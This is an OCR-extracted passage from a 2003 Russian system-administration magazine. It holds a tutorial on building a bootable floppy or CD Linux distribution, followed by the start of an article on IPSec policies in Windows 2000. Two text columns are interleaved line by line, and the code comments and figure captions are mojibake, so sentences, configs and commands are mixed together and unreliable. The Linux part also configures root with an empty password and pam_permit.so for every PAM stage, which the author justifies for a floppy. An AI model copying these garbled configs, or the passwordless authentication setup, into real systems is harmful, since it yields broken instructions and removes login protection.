Недавно я обнаружил одну занимательную вещь: если # Ïóòü ê èíèöèàëèçàöèîííîìó ñêðèïòó:
si::sysinit:/etc/rc
создать 3 Мб ram-диск и записать на него 3 Мб данных, а # Çàïóñê /sbin/getty äëÿ âèðòóàëüíûõ êîíñîëåé (â äàííîì
потом стереть 1 Мб, то сожмется такой файл очень сла- # ïðèìåðå 3, íî ìîæåò áûòü è áîëüøå, òîëüêî ó÷òèòå,
# ÷òî óñòðîéñòâà ttyX äîëæíû íàõîäèòüñÿ â êàòàëîãå
бо, т.к. изначально весь образ был заполнен нулями, а # /dev ram-äèñêà):
после удаления на месте файлов нули не пишутся, что 1:2345:respawn:/sbin/getty 9600 tty1 linux
2:23:respawn:/sbin/getty 9600 tty2 linux
намного уменьшает эффективность архивации. Поэтому 3:23:respawn:/sbin/getty 9600 tty3 linux
для экспериментов лучше не использовать образ, а по- # Ïåðåçàãðóçêà ïðè íàæàòèè êëàâèø Ctrl+Alt+Del:
ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now
колдовать где-нибудь на основной файловой системе, а
потом все перенести на ram-диск при помощи cp с флага-
/etc/group
ми -dpR (cp -dpR ./* /mnt/tmp). root:x:0:
После этого можно приступать к созданию файловой daemon:x:1:
bin:x:2:
структуры корневого раздела нашей дискеты. Для нача- sys:x:3:
ла создаем все необходимые каталоги: tty:x:5:
/bin /sbin disk:x:6:
lp:x:7:lp
/dev /tmp mail:x:8:
/etc /usr /etc/nsswitch.conf
/lib /usr/bin passwd: files
/proc /usr/sbin shadow:
group:
files
files
/root /var
hosts: files

После этого необходимо скопировать все нужные для networks: files


protocols: files
работы устройства (ни в коем случае не копируйте слиш- services: files
ком много устройств, т.к. файлы устройств – настоящие
пожиратели inode), следующие устройства обязаны при- Кроме этого, необходимо настроить pam так, чтобы мож-
сутствовать в системе: но было заходить в систему, не вводя пароля (т.к. пароль
как мера безопасности бесполезен на дискете, гораздо луч-
# cp -dpR /dev/tty[0-6] /mnt/tmp/dev ше, например, защитить образ при помощи пароля lilo):
# cp -dpR /dev/fd0* /mnt/tmp/dev
# cp -dpR /dev/console /mnt/tmp/dev
# cp -dpR /dev/kmem /mnt/tmp/dev /etc/pam.conf
OTHER auth optional /lib/security/pam_permit.so
OTHER account optional /lib/security/pam_permit.so
То же самое проделываем для устройств /dev/mem, /dev/ OTHER password optional /lib/security/pam_permit.so
OTHER session optional /lib/security/pam_permit.so
null, /dev/ram0.
Если необходим доступ к дискам, то также можно ско- После чего можно перейти к настройке стартовых
пировать и файлы /dev/hd* (или /dev/sd* для SCSI-дисков). скриптов. Здесь есть два варианта:
Если вы получите сообщение о нехватке места, то при- 1) перекопировать /etc/inittab, /etc/init.d и /etc/rc.* на ram-
дется увеличить количество inode (необходимо пересоз- диск и удалить ненужные скрипты;
дать ext2fs с большим числом inode и повторить все опе- 2) создать свой inittab и простой стартовый скрипт (кото-
рации заново). После создания файлов устройств перей- рый указывается в inittab директивой si::sysinit:/
дем к созданию файлов в каталоге /etc. Безусловно, это path_to_script), подобный следующему:
одна из трудоемких операций, т.к. фактически мы созда-
ем собственный дистрибутив с оригинальной конфигура- /etc/rc
#!/bin/sh
цией, но я все-таки попытаюсь как можно более наглядно # Óñòàíàâëèâàåì ïåðåìåííûå ñðåäû:
описать основные вехи формирования этого каталога. Во- PATH=/bin:/sbin:/usr/bin:/usr/sbin
# Ìîíòèðóåì ôàéëîâûå ñèñòåìû:
первых, необходимо создать /etc/passwd, /etc/fstab, /etc/ /bin/mount -av
inittab, /etc/groups, /etc/nssswitch.conf, которые могут выг- # Óñòàíàâëèâàåì èìÿ õîñòà:
/bin/hostname floppy-dist
лядеть следующим образом: # Íàñòðàèâàåì è çàïóñêàåì ñåòåâîé èíòåðôåéñ (åñëè ýòî íóæíî):
/sbin/ifconfig eth0 192.168.1.1 netmask 255.255.255.0 ↵
broadcast 192.168.1.255
/etc/passwd
/sbin/ifconfig eth0 up
root::0:0:root:/root:/bin/sh # Íàñòðàèâàåì ìàðøðóòèçàöèþ:
daemon:*:1:1:daemon:/sbin:/bin/sh /sbin/route add -net 192.168.1.0 netmask 255.255.255.0 ↵
bin:*:2:2:bin:/bin:/bin/sh gw 192.168.1.1
sys:*:3:3:sys:/dev:/bin/sh # Äàëåå ìîãóò áûòü äðóãèå êîìàíäû, â çàâèñèìîñòè îò
sync:*:4:100:sync:/bin:/bin/sync # íàçíà÷åíèÿ äèñòðèáóòèâà
games:*:5:100:games:/usr/games:/bin/sh export PATH
man:*:6:100:man:/var/cache/man:/bin/sh
lp:*:7:7:lp:/var/spool/lpd:/bin/sh
mail:*:8:8:mail:/var/mail:/bin/sh Не забудьте сделать этот файл исполняемым:
/etc/fstab
/dev/ram0 / ext2 defaults 0 1 # chmod +x /mnt/tmp/etc/rc
proc /proc proc defaults 0 0

/etc/inittab Необходимо также иметь файлы настройки термина-


# Runlevel ïî óìîë÷àíèþ:
id:2:initdefault: ла (termcap или база terminfo). В моей системе (Debian

48
администрирование
GNU/Linux) используется база terminfo, поэтому можно  /lib/libpam_misc.so.0 – библиотека pam, нужная для login;
просто скопировать нужный терминал на ramdisk:  /lib/libcrypt.so.1 – библиотека шифрования (также нуж-
на для login);
# mkdir -p /mnt/tmp/etc/terminfo/l
# cp /etc/terminfo/l/linux /mnt/tmp/etc/terminfo/l/linux
 /lib/security/pam_permit.so – PAM-модуль, всегда под-
тверждающий права доступа.
Если планируется использование /etc/termcap, то про-
сто скопируйте строки, относящиеся к терминалу linux из При выборе busybox лучше отановиться на динамичес-
существующего файла на дискету. ки скомпонованной версии (использующей библиотеку СИ),
Содержимое каталога /etc может сильно различаться т.к. библиотеку СИ (более 1 Мб) все равно придется копи-
в зависимости от того, для каких целей планируется сис- ровать на ramdisk. При копировании библиотек учтите, что
тема, но, в общем, должны обязательно присутствовать большинство отображаемых библиотек являются сивмо-
вышеприведенные файлы. Далее необходимо заняться лическими ссылками, поэтому не забывайте скопировать
также весьма трудоемкой частью работы – созданием и ссылку, и файл, на который эта библиотека ссылается
каталогов /bin, /sbin и /lib. Из-за небольшого размера дис- (копировать ссылку в этом случае надо с флагом -d). Если
кеты на неё весьма сложно записать полноценную систе- ваше ядро содержит модули, то не забудьте их скопиро-
му, поэтому очень часто приходится пользоваться «куцы- вать на ram-диск (лучше весь каталог /lib/modules/
ми» аналогами системных утилит. Один из самых извест- $KERNELVERSION/), также не забудьте скопировать ис-
ных проектов – busybox, содержащий урезанные, но впол- полняемые файлы insmod, modprobe, rmmod, lsmod и
не функциональные аналоги стандартных утилит (cd, ls, depmod в каталог /sbin на ram-диске. После всей этой мо-
sh, vi, ifconfig и других). Эти утилиты содержатся в еди- роки делаем заключительные действия:
ном выполняемом файле, на который обычно делают сим-
волические ссылки примерно таким образом: # mkdir -p /mnt/tmp/var/{log,run}
# touch /mnt/tmp/var/run/utmp

# cd /mnt/tmp кроме этого, настриваем динамический компоновщик:


# ln -s bin/busybox bin/cd
# ln -s bin/busybox bin/ls
# ldconfig -r /mnt/tmp
Для создания всех символических ссылок необходи-
мо проинсталлировать собранный из исходников следу- После этого отмонтируем образ:
ющим образом:
# umount /mnt/tmp
# make PREFIX=/mnt/tmp install
сжимаем его при помощи gzip (bzip2 не подходит) и запи-
При добавлении исполняемых файлов на ram-диск, не сываем в какой-нибудь каталог:
забывайте проверять зависимости при помощи програм-
мы ldd: # gzip -c9 /tmp/initrd.img > ~/initrd.gz
# rm -f /tmp/initrd.img

(debian:/etc)# ldd /sbin/init и приступаем к записи дискеты, имея ядро и подготов-


libc.so.6 => /lib/libc.so.6 (0x4001d000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) ленный образ...
Существует несколько способов записи автономной
Эти библиотеки также необходимо скопировать на ram-диск. дискеты, из них я расскажу о двух: использование заг-
Обязательно необходимо наличие следующих файлов: рузчика ядра (наиболее компактный метод) и использо-
 /sbin/init (есть в составе busybox, но я бы рекомендо- вание загрузчика syslinux (загрузка с дискеты ms-dos).
вал воспользоваться полноценным init); При использовании kernel-loader значительно услож-
 /sbin/getty; няется процесс настройки параметров ядра и изменение
 /bin/mount (busybox); чего-либо на дискете. Преимущества kernel-loader – ком-
 /bin/sh (я использовал ash(NetBSD sh) – классический пактность и отсутствие необходимости наличия файло-
shell); вой системы на дискете. Создание дискеты такого типа
 /bin/login. тоже не представляет особых проблем: для начала копи-
руем ядро на дискету, начиная с 0-го сектора:
Также весьма удобно наличие busybox. В папке /lib дол-
жны быть по крайней мере 3 библиотеки: # dd if=/usr/src/linux/arch/i386/boot/bzImage of=/dev/fd0 bs=1k
384+1 ïðî÷èòàíî áëîêîâ
 /lib/libc.so.6 – стандартная библиотека СИ; 384+1 çàïèñàíî áëîêîâ
 /lib/ld-linux.so.2 – библиотека димамического компонов-
щика ld; Цифры означают, сколько блоков заняло ядро. Знак «+»
 /lib/libnss_files.so.2 – библиотека выбора сетевых служб значит, что ядро заняло 384 полных блока и 1 неполный.
(используется libc для выбора способа аутентификации, Root-fs может размещаться с 385 блока соответственно. Эту
без этой библиотеки вы не сможете пройти этап логина); цифру надо запомнить, а еще лучше – записать, т.к. в даль-
 /lib/libdl.so.2 – библиотека загрузки DLL (нужна для login); нейшем она нам еще пригодится. На следующем этапе не-
 /lib/libpam.so.0 – библиотека pam; обходимо чуть-чуть поколдовать с настройками ram-диска:

№6(7), июнь 2003 49


администрирование
# rdev /dev/fd0 /dev/fd0 способом создания boot-дискеты все ясно, настало время
рассказать и о другом: о создании msdos-дискеты c Linux.
Указываем, что ram-диск будет размещаться на том же Для этой цели существует специальная утилита –syslinux
устройстве, что и образ ядра (вообще команда rdev ис- (домашняя страница: http://syslinux.zytor.com/), которая по-
пользуется в случаях, когда ядро и корневая FS находят- зволяет обойти обычный процесс загрузки ms-dos, запус-
ся на разных дисках). кая ядро Linux. Настройка syslinux весьма похожа на настрой-
ку lilo: создается конфигурационный файл, описывающий
# rdev -R /dev/fd0 образы, расположенные на диске. При этом доступно весь-
ма большое количество параметров, но нас будут интересо-
Указание того, что ram-диск должен использоваться в ка- вать только те параметры, что отвечают за загрузку ядра,
честве корневой файловой системы (опция -R должна передачу ему (ядру) аргументов и загрузку initrd. Итак, опи-
быть написана именно так: с большой буквой R). шу все стадии правильной подготовки ms-dos дискеты:
Далее мы должны указать маску ram-диска, чтобы ядро  форматируем дискету, не проверяя сбойные сектора:
знало, где найти этот диск. Маска представляет собой 16-
ти разрядное значение, в котором 10 бит представляют # fdformat -n /dev/fd0
собой начальный блок ram-диска, бит 14 означает, должен
ли быть загружен ram-диск, а бит 15 говорит о необходи-  проверяем сбойные сектора:
мости вывода подсказки перед загрузкой initrd. Чтобы не
утомлять читателей расчетами, просто скажу, что если initrd # badblocks /dev/fd0 > /tmp/fd0.bad
расположен на одной дискете с ядром, то это значение рас-
считывается как block_of_kernel + 16384, а если initrd запи-  создаем файловую систему (FAT12 в данном случае)
сан на другой дискете, то этот параметр имеет фиксиро- с меткой “boot” и указываем обнаруженные сбойные
ванную величину – 49152 (установка в 1 14 и 15 битов), а сектора:
сам ram-диск записывается на другую дискету, начиная
также с 0-го сектора. Приведу пример для ситуации, когда # mkfs.msdos -l /tmp/fd0.bad -n boot /dev/fd0
ядро и ramdisk размещаются на одной дискете:
 далее записываем syslinux на дискету (появится файл
# rdev -r /dev/fd0 `expr 16384 + 385` ldlinux.sys):

если кто-то умеет складывать такие числа в уме (я не # syslinux /dev/fd0


умею), то для него эта команда будет выглядеть так:
 копируем ядро и initrd:
# rdev -r /dev/fd0 16769
# mount /dev/fd0 /floppy
# cp /usr/src/linux/arch/i386/boot/bzImage /floppy/vmlinuz
После того как ядро узнает, где расположен initrd, можно # cp ~/initrd.gz /floppy/
спокойно записывать наш компрессированный образ на дис-
кету (в нашем примере образ записывается сразу же после  после этого составляем примерно такой конфигура-
ядра, ну а если initrd планируется разместить на другой дис- ционный файл:
кете, то образ записывается с 0-го блока соответственно):
# vi /floppy/syslinux.cfg
syslinux.cfg:
# dd if=~/initrd.gz of=/dev/fd0 bs=1k seek=385
default linux
prompt 1
Подождем, пока запишется образ, и перезагрузимся с дис-
кеты. Если все прошло нормально, то можете вздохнуть label linux
kernel vmlinuz
спокойно и гордиться тем, что вы создали свой собствен- append initrd=initrd.gz
ный, пусть маленький, но настоящий дистрибутив Linux!
Если же возникли ошибки, то придется повторять вы- Обратите внимание на структуру описания ядра:
шеописанные действия, пока эти ошибки не будут исправ-
лены. Если вам необходимо поправить initrd, то учтите, что label ìåòêà
kernel ôàéë_ÿäðà
все изменения, которые вы проделываете в корневом раз- append îïöèè_ÿäðà
деле непосредственно при работе нашего floppy-дистри-
бутива, не сохраняются нигде, и при рестарте будут утра- Здесь initrd передается в качестве аргумента для ядра.
чены, так что единственным способом поправить что-либо Примерно таким же образом можно использовать загруз-
является редактирование образа (естественно, для нача- чик lilo. Преимущество у syslinux перед lilo одно: конфигу-
ла образ нужно разжать и примонтировать) с последую- рационный файл syslinux можно править непосредственно
щей записью его на дискету (новый образ можно писать в ms-dos (windows). Также можно создавать загрузочные
прямо поверх старого, не меняя при этом параметров ram- дискеты Linux, находясь в ms-dos, т.к. существует syslinux,
диска, единственное условие: чтобы новый образ писался запускающийся под досом. Для более подробной инфор-
с того же блока, что и старый). Ну что ж, думаю, с этим мации о syslinux читайте документацию (man syslinux).

50
администрирование
В общем случае выбор загрузчика будет определяться Или сделать запись в /etc/fstab на дискете:
конкретными целями. Но учтите, что самый экономичный
(хотя и менее гибкий) способ – использование kernel loader. /dev/hdb / is09660 ro,exec 0 0
Для некоторых целей объема и скорости дискеты явно
недостаточно. В таких случаях идеально использовать В общем, ничего сложного в создании CD-дистрибу-
загрузочные CD-диски. О том, как создавать такие дис- тива нет. Все сводится к подготовке правильного загру-
ки, и пойдет дальше речь. зочного образа и формировании необходимых программ,
Я буду предполагать, что ваш CD-Record привод рабо- размещающихся непосредственно на CD. Запись загру-
тает правильно под Linux (если нет, то почитайте CD- зочного образа ничем не примечательна:
Writing-HOWTO: http://www.guug.de/~winni/linux/). Для со-
здания bootable CD существует особое расширение фор- # cdrecord -v speed=8 dev=0,0,0 /cd-iso/bootcd.iso
мата iso9660. Новые версии mkisofs умеют работать с этим
расширением, для очень старых версий необходим патч. Единственную трудность представляет, пожалуй, со-
Самый простой способ – записываем загрузочную дис- здание мульти-загрузочного диска. Я решил не описы-
кету с загрузчиком, отличным от kernel loader (рекомен- вать этот процесс в данной статье, т.к. сам недавно уви-
дуется lilo), и с этой дискеты пишется образ: дел статью «Изготовление мульти-загрузочного CD-дис-
ка» в русской Linux Gazette. Статья написана очень гра-
# cp /dev/fd0 /cd-iso/boot/boot.img мотно и поможет решить любые вопросы.
Поэтому в этой статье я не буду цитировать чужую
После этого создается isofs: публикацию, а просто дам ссылку на вышеупомянутую
статью: http://gazette.linux.ru.net/.
# cd /cd-iso Итак, на этом я завершаю своё небольшое руковод-
# mkisofs -r -b boot/boot.img -c boot/boot.catalog ↵
-o bootcd.iso ./ ство и привожу список полезных ссылок и полезных до-
кументов:
После этого при загрузке с CD-ROM загружается ука- 1. http://www.tldp.org – здесь могут быть найдены Linux
занный опцией -b образ дискеты. Файл boot.catalog со- Boot Disk HOWTO, CD-Writing-HOWTO.
здается mkisofs автоматически, т.к. этот файл необходим 2. http://syslinux.zytor.com/ – сайт syslinux.
по стандарту (как я понял, для создания multi-boot CD). 3. http://www.linuxlots.com/~fawcett/yard/index.html – набор
На самом CD может оказаться удобным разместить фай- утилит для восстановления системы.
ловую систему /usr, т.е. на дискете миниатюрный набор
необходимых программ, а на самом компакте – основной Список ресурсов, где могут быть найдены образы заг-
дистрибутив (не забудьте включить поддержку файловой рузочных дискет и дисков различного назначения:
системы iso9660 в ядре). Для организации такого поведе- 1. http://www.linuxlinks.com – огромный архив ссылок на
ния скопируйте все необходимые файлы на CD, с которо- проекты различных мини- и микро-дистрибутивов
го будет осуществляться загрузка: (очень полезно посмотреть!)
/bin /sbin 2. http://www.toms.net/rb/ – Tomsrtbt мини-дистрибутив, со-
/lib /share держащий утилиты по восстановлению данных.
/libexec /src 3. http://www.liap.eu.org/ – LIAP, «Linux в пилюлях» – сайт
/local /tmp содержит множество образов 1.44MB’ых дискет с раз-
личными утилитами и разными версиями ядра для
Обратите внимание на отсутствие префикса /usr. При борьбы со всякого рода неприятностями.
загрузке дискеты можно примонтировать CD вручную: 4. http://www.ibiblio.org/pub/Linux/system/recovery/ – огром-
ный архив всякого рода утилит и загрузочных образов
# mount -t iso9660 -o ro,exec /dev/hd[b] /usr для восстановления.

№6(7), июнь 2003 51


администрирование

ИСПОЛЬЗОВАНИЕ
IPSec В WINDOWS 200x

МАКСИМ КОСТЫШИН

52
администрирование
После внедрения программных продуктов, предполага- В изложенном материале для большей наглядности
ющих элементы сетевого взаимодействия, часто при- приводятся иллюстрации для русской версии Windows
ходится сталкиваться с тем, что разработчики не уде- 2000 Professional, однако названия пунктов меню, окон и
лили должного внимания вопросам обеспечения кон- др. элементов интерфейса приводятся как для русского,
фиденциальной передачи данных по физическим лини- так и для англоязычного интерфейса.
ям, которые образуют канал связи между взаимодей- До начала рассмотрения практических вопросов отме-
ствующими компьютерами. Общим решением такого тим, что для операционной системы Microsoft Windows 2000
рода проблем может являть создание VPN-соединений рекомендуется обеспечение поддержки 128-битного
на основе имеющихся международных стандартов. Ука- шифрования данных. Для этого должны быть установ-
занная возможность реализована в операционной сис- лены либо Service Pack 2 для Windows 2000, либо High
теме Windows200x/XP. Encryption Pack.
Информация, изложенная в данной статье, предназ- Service Pack 2 можно загрузить с сервера Microsoft:
начена для тех, кого интересуют вопросы реализации за- ht tp://www.microsof t.com/windows2000/downloads/
щиты информации с использованием VPN-каналов на servicepacks/sp2/default.asp.
основе IPSec-протокола. Протокол IPSec и его состав- High Encryption Pack можно загрузить с сервера Microsoft:
ляющие закреплены в группе рекомендаций RFC (Re- ht tp://www.microsof t.com/windows2000/downloads/
quest for Comments) 2401 – 2412, опубликованных в но- recommended/encryption/.
ябре 1998 года. Описание конкретных решений позво- Обращаем внимание на то, что для возможности вне-
лит от рассмотрения теоретических аспектов виртуаль- сения изменений в настройки Windows, описанные ниже,
ных приватных сетей перейти к практическим моментам пользователь должен иметь права администратора.
их использования. Пользователи операционной систе-
мы Windows 200x/XP, следуя подробным инструкциям, Подход, предлагаемый Microsoft
приведенным в статье, смогут реализовать защищенную для использования межкомпьютерных
связь между компьютерами. соединений по протоколу IPSec
Справедливости ради следует отметить, что подоб- в домене
ные решения имеются и могут быть использованы на После стандартной инсталляции Windows 200x/XP в опе-
других платформах, между различными операционны- рационной системе предлагаются три варианта на-
ми системами. стройки для организации защищенного IP-канала – по-
Для компьютеров, на которых невозможно установить литики безопасности IPSec (смотри рис. 1) в рамках од-
ОС Windows200x/XP, можно применять средство PGPnet ного домена:
Virtual Private Networking. В качестве примера взаимо-  Сервер (Server) – для всего трафика IP всегда зап-
действия реализации стандарта IPSec на различных опе- рашивает безопасность с помощью доверия Kerberos.
рационных системах может быть предложен вариант ис- Разрешает небезопасную связь с клиентами, которые
пользования IPSec-протокола между Windows 2000 и опе- не отвечают на запрос;
рационной системой семейства Unix FreeBSD (см. ста-  Безопасность сервера (Secure Server) – для всего
тью Станислава Лапшанского «IPSec-соединение меж- IP-трафика всегда запрашивает безопасность с помо-
ду FreeBSD и Windows 2000» – http://www.opennet.ru/base/ щью доверия Kerberos. Не разрешает небезопасную
net/bsd_win_vpn.txt.html). связь с недоверенными клиентами;
В недавно представленной Microsoft для широкой пуб-  Клиент (Client) – обычная связь (небезопасная). Ис-
лики Windows 2003, подходы по организации защищен- пользует правило ответа по умолчанию для согласо-
ного соединения на основе IPSec не претерпели (по край- вания с серверами, запрашивающими безопасность.
ней мере, видимых) существенных изменений и абсолют- Только запрошенный протокол и трафик с этим серве-
но совместимы с Windows 2000. ром будут безопасными.

Ðèñóíîê 1. Îñíàñòêà «Óïðàâëåíèå ïîëèòèêîé áåçîïàñíîñòè IP», èñïîëüçóåìàÿ äëÿ íàñòðîéêè â Windows IP-áåçîïàñíîñòè (IPSec).

№6(7), июнь 2003 53


администрирование
После установки операционной системы ни одна из уверены, что настройки используемых политик остались
политик не назначена. Пользователь может активизировать неизменными с момента установки операционной систе-
(назначить) одну и только одну из существующих политик. мы. Вместе с тем теоретически существует ненулевая ве-
Ниже, в качестве справочной информации, приводят- роятность, что после выполнения согласования поддер-
ся настройки, которые используются Microsoft в операци- живаемых криптографических алгоритмов и ключевых
онной системе Windows 200x/XP для трех стандартных данных, соединение будет организовано только с исполь-
вариантов политики безопасности IPSec. Подробные по- зованием протокола аутентификации (Authentication
яснения можно найти далее в описаниях настроек при Header – АН), которое предполагает активизацию меха-
создании новой политики безопасности. низмов только авторства и целостности передаваемых
При изучении вопросов, связанных с установлени- пакетов, в то время как само содержимое пакетов будет
ем защищенного соединения IPSес, обратим внимание, передаваться по сети в открытом виде. Это создает пред-
что индивидуальные рекомендации необходимы для посылки к тому, что все данные, которыми обмениваются
случая, если компьютер, который необходимо задей- компьютеры, организовавшие «защищенный» канал, бу-
ствовать в схеме защищенного соединения, имеет не- дут перехвачены.
сколько IP-адресов. Кроме того, для случая работы в Чтобы удалить назначение политики IPSec, щелкни-
домене локальная политика безопасности компьютера те на активной политике правой кнопкой «мыши» и вы-
может перекрываться политикой безопасности, опре- берите команду Снять (Un-assign). Кроме того, можно
деляемой контроллером домена. отключить на компьютере службу Агент политики IPSEC
(IPSEC Policy Agent). Это позволит обеспечить гаран-
Назначение и отключение тированное отключение использования политики безо-
IPSec-соединения с использованием пасности IPSec, которая может управляться на уровне
стандартных настроек Windows контроллера домена.
Для организации аутентифицированного и закрытого
обмена данными между двумя компьютерами по про- Тестирование установления
токолу IPSec необходимо активизировать на одной сто- IPSec-соединения
роне политику Безопасность сервера (Secure Server), Для проверки правильности настроек политики безопас-
на другой – Клиент (Client) в разделе Политики безо- ности, активизируйте установку защищенного соедине-
пасности IP на «Локальный компьютер» (IP Security ния, выполнив следующие шаги на одном из тестируе-
Policies on Local Machine). Это можно сделать, выб- мых компьютеров:
рав пункт локального меню (вызываемого по правой  Вызовите командную строку, выполнив запуск про-
кнопке «мыши») Назначить (Assign), предварительно граммы cmd.exe, выбрав меню Пуск → Выполнить…
выбрав строку с нужной политикой. Приложение Ло- (Start → Run...) или выбрав подпункт Командная стро-
кальные параметры безопасности (Local Security ка (Command Promt) меню Пуск → Программы →
Settings) можно активизировать, выбрав одноименный Стандартные (Start → Program → Accessories).
подпункт меню Пуск → Настройка → Панель управле-  Запустите команду ping с IP-адресом другого тестиру-
ния → Администрирование (Start → Setting → Control емого компьютера. Установка защищенного соедине-
Panel → Administrative Tools). ния требует времени, поэтому при первой попытке от-
Обратите внимание на то, что стандартные политики зыв от сервера не будет получен.
предназначены для использования в рамках одного до-  Повторите команду ping.
мена. В противном случае защищенное соединение не
будет установлено. На рис. 2 показан протокол работы двух последова-
Отметим, что связывающиеся стороны должны быть тельных вызовов команды ping.
Òàáëèöà 1. Íàñòðîéêè ñòàíäàðòíûõ ïîëèòèê áåçîïàñíîñòè IP â ÎÑ Windows 200x/XP.

54
администрирование
Включение аудита
при выполнении политики
безопасности IP
Настойчиво рекомендуем включить протоколирование ре-
гистрации пользователей (включения аудита входа в сис-
тему для локального компьютера). Для этого необходимо
активизировать приложение Локальная политика безо-
пасности (Local Security Setting) в разделе Админист-
рирование (Aministrative Tools) и выберите в дереве вет-
ку Локальные политики (Local Policies) → Политика
аудита (Audit Policy). Выделите пункт События регист-
рации аудита (Audit Logon Events). В открывшемся окне
(см. рис.4) выберите в разделе Настройка локальной по-
Ðèñóíîê 2. Âûïîëíåíèå êîìàíäû ping ïðè ñîãëàñîâàíèè ïîëèòèêè
áåçîïàñíîñòè. литики (Local Policy Setting) пункты Успех (Success) и
Неудача (Failure).
Мониторинг
IPSec-соединения
В состав Windows 2003 стандартное средство IPSecMon
не входит, потому все изложенное ниже в данном пункте
может быть применено только для Windows 2000/XP.
Для опытных пользователей для варианта Windows
200x Server для использования может быть предложе-
на стандартная Windows-компонента «Средства сете-
вого монитора», позволяющая просмотреть все нюан-
сы установки защищенного соединения на уровне дан-
ных IP-пакетов, а также 100% удостовериться, что в зак-
рытости содержимого IP-пакета после установки защи-
щенного соединения.
В данной статье описание работы с сетевым мони-
тором в разрезе применения IPSec-протокола не при-
водится.
Для выполнения контроля защищенного обмена
можно использовать утилиту Монитор IP-безопаснос-
ти (IP Security Monitor), активизируемую при вызове
приложения IPSecMon.exe. Эта утилита показывает на-
личие и, самое главное, параметры установленных с
использованием протокола IPSec защищенных IP-кана-
Ðèñóíîê 4. Âêëþ÷åíèå àóäèòà äëÿ ñîáûòèé ðåãèñòðàöèè
лов (см. рис.3). ïîëüçîâàòåëåé â ñèñòåìå.
С помощью кнопки <Параметры...> (Options...)
уменьшите время обновления с 15 до 1 секунды, чтобы Настройки
получать в каждый момент актуальную информацию о новой политики
состоянии IPSec-соединения. безопасности IP
Для настройки новой политики ниже будет подробно опи-
сана последовательность действий, определяемая следу-
ющими шагами:
 Создание новой политики безопасности IP;
 Определение нового правила:
 Списка IP-фильтров (назначение используемых се-
тевых протоколов и адресов взаимодействующих
хостов);
 Действия фильтра (выбор используемых криптог-
рафических алгоритмов);
 Методов проверки подлинности (назначение спо-
соба установления доверительных отношений меж-
ду компьютерами);
 Типа подключения (удаленный доступ, локальная
сеть);
 Параметров туннеля (использовать или нет тун-
Ðèñóíîê 3. Âèä ãëàâíîãî îêíà ïðîãðàììû
«Ìîíèòîð IP-áåçîïàñíîñòè». нельный вариант протокола IPSec).

№6(7), июнь 2003 55


администрирование

Ðèñóíîê 5. Îáùèé âèä ïðèëîæåíèÿ, îïðåäåëÿþùåãî ëîêàëüíûå ïàðàìåòðû áåçîïàñíîñòè.


В предлагаемом варианте не используется метод про- пасности IP (Create IP Security Policy). При этом откры-
верки подлинности Kerberos, установление защищенно- вается окно Мастер политики IP-безопасности (IP Security
го обмена осуществляется на основе прописываемой в Policy Wizard). Щелкните <Далее> (Next) для перехода к
установках обоих компьютеров одной и той же «секрет- следующему окну диалога (см. рис.6).
ной» строки. В связи с этим указанная схема защищен-
ного соединения будет работоспособна при работе как в
доменной системе, так и в сети без домена.
Активизируйте приложение Локальные параметры бе-
зопасности (Local Security Setting), выбрав подпункт Ло-
кальная политика безопасности (Local Security Policy)
меню Пуск → Настройка → Панель управления → Ад-
министрирование (Start → Setting → Control Panel →
Administrative Tools).

Ðèñóíîê 7. Îïðåäåëåíèå íàçâàíèÿ ïîëèòèêè áåçîïàñíîñòè.

Ðèñóíîê 6. Íà÷àëüíîå îêíî ìàñòåðà ïîëèòèêè IP-áåçîïàñíîñòè.

Создание новой политики


В левой части окна Локальные параметры безопасности
(Local Security Setting) выберите пункт Политики безо-
пасности IP на “Локальный компьютер” (IP Security
Policies in Local Machine) и создайте новую политику либо
«кликнув» на значке меню , либо выбрав пункт контек-
стного меню (вызываемого при нажатии правой кнопки
Ðèñóíîê 8. Îêíî îïðåäåëåíèÿ àêòèâèçàöèè ïîëèòèêè ïîñëå
«мыши» в правой части окна) Создать политику безо- çàäàíèÿ ïàðàìåòðîâ.

56
администрирование
Введите любое имя новой политики (см. рис.7) и, если При этом открывается окно Свойства: Новое правило (New
это необходимо, ее описание. Щелкните <Далее> (Next) Rule Properties) (см. рис.11).
для перехода к следующему окну диалога.
Отмените установку флажка Использовать правило по
умолчанию (Activate the default response rule) (см. рис.8),
в результате чего для данной политики можно будет опре-
делить пользовательское правило. Щелкните <Далее>
(Next) для перехода к следующему окну диалога.
Удостоверьтесь, что флажок Изменить свойства (Edit
properties) установлен, и щелкните <Готово> (Finish)
(см. рис.9).

Ðèñóíîê 9. Îêíî çàâåðøåíèÿ íàçíà÷åíèÿ íîâîé ïîëèòèêè Ðèñóíîê 11. Îêíî ñîçäàíèÿ íîâîãî ïðàâèëà.
IP-áåçîïàñíîñòè.
При этом создание новой политики заканчивается и
открывается окно Свойства (Rules) (см. рис.10). Создание нового правила
Создание нового фильтра
На закладке Список фильтров IP (IP Filter List) щелкните
<Добавить> (Add), при этом открывается окно Список
фильтров IP (IP Filter List).
Введите любое имя фильтра и, если это необходи-
мо, его описание (см. рис.12). Отмените флажок Ис-
пользовать мастер (Use Add Wizard) и щелкните <До-
бавить> (Add). При этом открывается окно Свойства:
Фильтр (Filter Properies).

Ðèñóíîê 10. Îêíî ïðàâèë äëÿ âíîâü ñîçäàííîé ïîëèòèêè.

Редактирование свойств
политики безопасности IP
Отмените установку флажка Использовать мастер (Use
Add Wisard) (см. рис.10) и щелкните <Добавить> (Add). Ðèñóíîê 12. Îïðåäåëåíèå íàçâàíèÿ ôèëüòðà IP.

№6(7), июнь 2003 57


администрирование
Выберите закладку Адресация (Addressing) (см. рис.13) Выберите закладку Протокол (Protocol) и установите
и установите следующие параметры: Тип протокола (Select a protocol type) – Любой (Any)
 Адрес источника пакетов (Source address) → Опреде- (см. рис.14).
ленный IP-адрес (A specific IP Address); Заполнение поля Описание (Description) в закладке
 IP-адрес → IP-адрес вашего компьютера; Описание (Description) не обязательно.
 Адрес назначения пакетов (Destination address) → Оп- Закончите описание свойств фильтра, щелкнув <OK>
ределенный IP-адрес (A specific IP Address); в окне Свойства: Фильтр (Filter Properties).
 IP-адрес → адрес компьютера, с которым устанав- Щелкните <Закрыть> (OK) в окне Список фильтров IP
ливается защищенное соединение; (IP Filter List).
 Проверить установку флажка Отраженный (Mirrored). На закладке Список фильтров IP (IP Filter List) в окне
Свойства: Новое правило (New Rule Properties) поставь-
те точку в строке, отображающей только что создан-
ный новый фильтр.

Создание нового действия


Выберите закладку Действие фильтра (Filter Action) в окне
